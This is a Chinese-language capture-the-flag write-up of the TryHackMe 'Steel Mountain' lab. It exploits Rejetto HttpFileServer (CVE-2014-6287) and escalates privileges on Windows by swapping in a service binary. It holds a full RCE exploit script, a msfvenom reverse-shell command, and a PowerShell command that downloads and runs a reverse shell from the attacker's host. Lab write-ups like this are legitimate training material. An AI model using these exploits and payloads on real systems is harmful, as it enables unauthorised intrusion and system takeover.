[tryhackme] Steel Mountain

先用nmap扫描端口:

它在8080端口运行着HttpFileServer 。

使用msf

按照题目要求,使用msf查找可用的漏洞:

设置必要的参数,然后exploit

顺利得到第一个flag

下一步要提权,先下载powerup ,然后上传到目标机器

在meterpreter加载powershell

运行powerup

其中AdvancedSystemCareService9的CanRestart是true。也就是说系统中的service可以重启,我们可以用自己制作的service代替它

ServiceName   : AdvancedSystemCareService9
Path          : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'AdvancedSystemCareService9' -Path <HijackPath>
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.40.8 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

使用上面的命令用msfvenom制作一个反弹shell,并上传到目标机器。如下所示:

在替换目标exe前我们要先停止该服务。

sc stop AdvancedSystemCareService9

把上传的Advanced.exe替换Advanced SystemCare里的ASCService.exe。并在本地用nc开启4443端口进行监听。一切都成功后,重新开启服务

sc start AdvancedSystemCareService9

成功进入系统并获得root

不用msf

按照题目要求,现在尝试不用msf。

先用searchsploit找到httpfileserver的漏洞并下载利用脚本。脚本如下:

#Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 28-11-2020
# Remote: Yes
# Exploit Author: Óscar Andreu
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

#!/usr/bin/python3

# Usage :  python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.4/shells/mini-reverse.ps1')"

import urllib3
import sys
import urllib.parse

try:
	http = urllib3.PoolManager()
	url = f'http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.parse.quote(sys.argv[3])}.}}'
	print(url)
	response = http.request('GET', url)

except Exception as ex:
	print("Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command")
	print(ex)

reverse-shell   我们下载左边这个reverse shell,然后下载winPEAS,开启python的http服务,开启nc 4444监听端口。一切都准备好了,就可以输入下面的命令:

python3 exp.py 10.10.248.198 8080 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.38.166:8888/mini-reverse.ps1')"

这是我们看到类似下面的响应,也就是它已经从本地机器上下载reverse-shell到目标机器。

跟之前一样,我们可以轻易找到user的flag

然后我们的监听端口也有相应:

为了提权,我们要下载winPEAS到目标机器:

接下来只要运行winPEAS,然后接下来的操作就跟之前一模一样:现在本地生成一个程序:

停止服务

下载刚生成的程序到目标机器

用下载的程序替换原来的ASCService.exe,然后在本地开启4443端口监听,最后重启服务

现在4443端口有响应,大功告成:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值